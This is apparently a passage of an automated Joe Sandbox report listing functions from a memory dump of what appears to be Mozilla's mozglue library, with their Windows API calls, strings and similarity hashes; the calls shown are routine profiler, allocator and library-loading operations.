Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE7693
Part of subcall function 6CDE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CDE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CDE85B2

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 127615e83e2ff3b0f5fc3f7f1b9aec0bd20115d047244d0f691387f0fcdac74f
Instruction ID: 76221df8dd205ee583adc02a1e426140c274b5864e2d452ee22325711b9ddb30
Opcode Fuzzy Hash: 127615e83e2ff3b0f5fc3f7f1b9aec0bd20115d047244d0f691387f0fcdac74f
Instruction Fuzzy Hash: EE217F743006019FEB14DB28C888A5AB7B5AF4830DF14482DE55B83B91DB35F948CB95

Function 6CDB1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CDB1699
VerSetConditionMask.NTDLL ref: 6CDB16CB
VerSetConditionMask.NTDLL ref: 6CDB16D7
VerSetConditionMask.NTDLL ref: 6CDB16DE
VerSetConditionMask.NTDLL ref: 6CDB16E5
VerSetConditionMask.NTDLL ref: 6CDB16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CDB16F9

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 787101252116d004b1afa3b8f880180bbec9b6e9df0f3a90501b451413011fff
Instruction ID: ba2b553704f6b4306574ebcdc80db9984ca0e8d3959291ced5da5b389440eaf6
Opcode Fuzzy Hash: 787101252116d004b1afa3b8f880180bbec9b6e9df0f3a90501b451413011fff
Instruction Fuzzy Hash: 9E21A2F0B402186BEB116B648C86FFBB37CEF86714F044528F646AB5D0C6789D54CBA1

Function 6CDEF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CDEF598), ref: 6CDEF621

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF637
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF645
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CDEF62A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: fa2dbe9f790e9e12d5f0021767120304665375c65f6afcf4b7cedd45c7b65b3f
Instruction ID: d94a45cc82fb81cd5ab5c341ecc9d5994aebc72f0fdbb9e24577ddc96eac0148
Opcode Fuzzy Hash: fa2dbe9f790e9e12d5f0021767120304665375c65f6afcf4b7cedd45c7b65b3f
Instruction Fuzzy Hash: 1F11E371601204ABCB04AF58D848EE5B779FB8A76CB500019EA0687F51CB79A811CBB0

Function 6CDB1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CDB1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CDB1FFD
__Init_thread_footer.LIBCMT ref: 6CDB2011
FreeLibrary.KERNEL32 ref: 6CDB2059

Strings

combase.dll, xrefs: 6CDB1FD9
CoCreateInstance, xrefs: 6CDB1FF7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 5535146e7f0d15f6908d2fe6f8ea8b5967d82444fb7a07fe04841528ca3de113
Instruction ID: 603337db0d6a2db4d154ed945b453e7773a79930cc60c3d28f9ca8430ff83f57
Opcode Fuzzy Hash: 5535146e7f0d15f6908d2fe6f8ea8b5967d82444fb7a07fe04841528ca3de113
Instruction Fuzzy Hash: 8E117CB6641218EFEF20CF24C849F963B79EB46359F104029F90692650CB3DAC01CF61

Function 6CDB0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CDDD9F0,00000000), ref: 6CDB0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CDB0F3C
__Init_thread_footer.LIBCMT ref: 6CDB0F50
FreeLibrary.KERNEL32(?,6CDDD9F0,00000000), ref: 6CDB0F86

Strings

combase.dll, xrefs: 6CDB0F18
CoInitializeEx, xrefs: 6CDB0F36

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 2abf89f4caa05c505349929a529cdf3167257429611a1fb8b66fdff096aa9e8f
Instruction ID: 6b5873f6d036da30d3eb401bd4002034b3ec0e2772cc77730cc9715cb32916cc
Opcode Fuzzy Hash: 2abf89f4caa05c505349929a529cdf3167257429611a1fb8b66fdff096aa9e8f
Instruction Fuzzy Hash: CA1182B5785250DBDF00CFA4CA08F5A37B4FB4A766F10422AE906A2750D73CB805CB65

Function 6CDEF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF561

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF577
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF585
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CDEF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CDEF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CDEF499
[I %d/%d] profiler_resume, xrefs: 6CDEF239

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 7bbd28c799ab52ecc0b39293e03650889671dac873ad99b6f82852b209240c56
Instruction ID: 4f9eeafe242664d9118f85c9afca8e0b4938fef949b06494db13b7389605ea9c
Opcode Fuzzy Hash: 7bbd28c799ab52ecc0b39293e03650889671dac873ad99b6f82852b209240c56
Instruction Fuzzy Hash: 1AF0B475A002049BEB006F64DC48B9A777DEB8A26DF100015EA0687701CB7D5800CB74

Function 6CDB0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CDB0DF8), ref: 6CDB0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CDB0EA1
__Init_thread_footer.LIBCMT ref: 6CDB0EB5
FreeLibrary.KERNEL32 ref: 6CDB0EC5

Strings

kernel32.dll, xrefs: 6CDB0E7D
GetProcessMitigationPolicy, xrefs: 6CDB0E9B

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: c6e198bf01c640ca5104678e554827265158331a484582a5e6167a22e64b3bec
Instruction ID: 0c2841dd15a307d24245f60e0bb48fe60c967ebeb4d7bab2a3f096d9c4ffd432
Opcode Fuzzy Hash: c6e198bf01c640ca5104678e554827265158331a484582a5e6167a22e64b3bec
Instruction Fuzzy Hash: 590124B0A103A5CBEB008FA8CA94B5637B5E74675AF200525AD86A6B50D73CF4058B51

Function 6CDEF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CDEF598), ref: 6CDEF621

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEF637
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF645
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8,?,?,00000000,?,6CDEF598), ref: 6CDEF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CDEF62A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 7c02b86af6d8eff12deee9be88d0691b03ddded1bbd40f18be5b130b92923008
Instruction ID: ea28b0a6bead314d9660b2bc5962136208d61f29c5f5d8194b8c8da132af15f1
Opcode Fuzzy Hash: 7c02b86af6d8eff12deee9be88d0691b03ddded1bbd40f18be5b130b92923008
Instruction Fuzzy Hash: 05F0BEB5A00244ABEB006B64DC48B9A7B7DEB8A2ADF100019EA0687751CB7D58018B74

Function 6CDE05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CDDCFAE,?,?,?,6CDA31A7), ref: 6CDE05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CDDCFAE,?,?,?,6CDA31A7), ref: 6CDE0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CDA31A7), ref: 6CDE061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CDA31A7), ref: 6CDE0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDE061B, 6CDE0625
<jemalloc>, xrefs: 6CDE05FA, 6CDE060F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 865de6ff296fbd25fc52952c4e415d1f02c0570f532eb6184b90cb6c59165cc8
Instruction ID: 1032f508dfeff075f88a5c1c2d486445f31480ed6cab4b83f2446ece9d3d4873
Opcode Fuzzy Hash: 865de6ff296fbd25fc52952c4e415d1f02c0570f532eb6184b90cb6c59165cc8
Instruction Fuzzy Hash: 34E08CE2A0505037F5142256AC86EBB762CDBC6534F180039FD0D82701E94AAD2A91F6

Function 6CDB05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49457b7f17699479c38ffa9b4d512f54c3e4085c4e0f4ed2568638379ff24934
Instruction ID: b09d7e0841b5788fa94d65e030e64b75c66cf252a0bda10de64fac5c0bf6d58e
Opcode Fuzzy Hash: 49457b7f17699479c38ffa9b4d512f54c3e4085c4e0f4ed2568638379ff24934
Instruction Fuzzy Hash: 68A126B4A00645CFDB14CF29C694B99FBF1BB48304F54866ED48AA7B10E734BA45CFA0

Function 6CE014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CE014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE014E2
GetCurrentThreadId.KERNEL32 ref: 6CE01546
InitializeConditionVariable.KERNEL32(?), ref: 6CE015BA
free.MOZGLUE(?), ref: 6CE016B4

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: a51fbc55a1661bc3bd7468364e95d1c18ccb669d8541d8cb9935e6d1dbe184a7
Instruction ID: f89050ec3cec57dc46057596ebcde422cbd4f6bebee8a24cd6e127ed750c9f34
Opcode Fuzzy Hash: a51fbc55a1661bc3bd7468364e95d1c18ccb669d8541d8cb9935e6d1dbe184a7
Instruction Fuzzy Hash: 9861FE31A007549BCB218F64C880BDAB7B5BF8A30CF05851CED8A5B711DB34E959CBE1

Function 6CDF9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDF9FDB
free.MOZGLUE(?,?), ref: 6CDF9FF0
free.MOZGLUE(?,?), ref: 6CDFA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDFA0BE
free.MOZGLUE(?,?), ref: 6CDFA0D5
free.MOZGLUE(?,?), ref: 6CDFA0EB

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8a07ca528c1e5e4452dfe7832c4c0d9e22b1b0b2a9e76a2b3a880b458df9b779
Instruction ID: 97ef8226891a9dab1cd84b21eccca111d52e4f95b928b13575bb551eb028925b
Opcode Fuzzy Hash: 8a07ca528c1e5e4452dfe7832c4c0d9e22b1b0b2a9e76a2b3a880b458df9b779
Instruction Fuzzy Hash: EE61C1759087019FC711CF18C48059AB3F9FF88328F558659E8A99B712E732E987CBD2

Function 6CDFDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDFDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CDFD38A,?), ref: 6CDFDC6F
free.MOZGLUE(?,?,?,?,?,6CDFD38A,?), ref: 6CDFDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CDFD38A,?), ref: 6CDFDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CDFD38A,?), ref: 6CDFDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CDFD38A,?), ref: 6CDFDD4A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 693ec474fffb9710f93d51e30b95d53f936807e720197d6fafc7b83090eef370
Instruction ID: fa9931c0bbb032708ee48100736baa2e29e0bbf1feaf16346365700ee4d2d177
Opcode Fuzzy Hash: 693ec474fffb9710f93d51e30b95d53f936807e720197d6fafc7b83090eef370
Instruction Fuzzy Hash: 3F416DB5A00205CFCB00CF99C880A9AB7F5FF8D318B564569D956ABB20D771FC01CBA0

Function 6CDDD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CDAEB57,?,?,?,?,?,?,?,?,?), ref: 6CDDD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CDAEB57,?), ref: 6CDDD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CDAEB57,?), ref: 6CDDD673
free.MOZGLUE(?), ref: 6CDDD888

Strings

|Enabled, xrefs: 6CDDD81E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 3b82ce0fe1b3196d792f5474da2b6d7dff437af398934af9cd270fa4a4ae1166
Instruction ID: 99dcab5f6f5bedebdd0c943d6b8227bc38d197f123f43911bd6ee91315828fb7
Opcode Fuzzy Hash: 3b82ce0fe1b3196d792f5474da2b6d7dff437af398934af9cd270fa4a4ae1166
Instruction Fuzzy Hash: 32A1DFB0E002189FDF11CF69C490BAEBBF1AF49318F19805CD88AAB751D735A845CBB1

Function 6CDDF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CDDF480

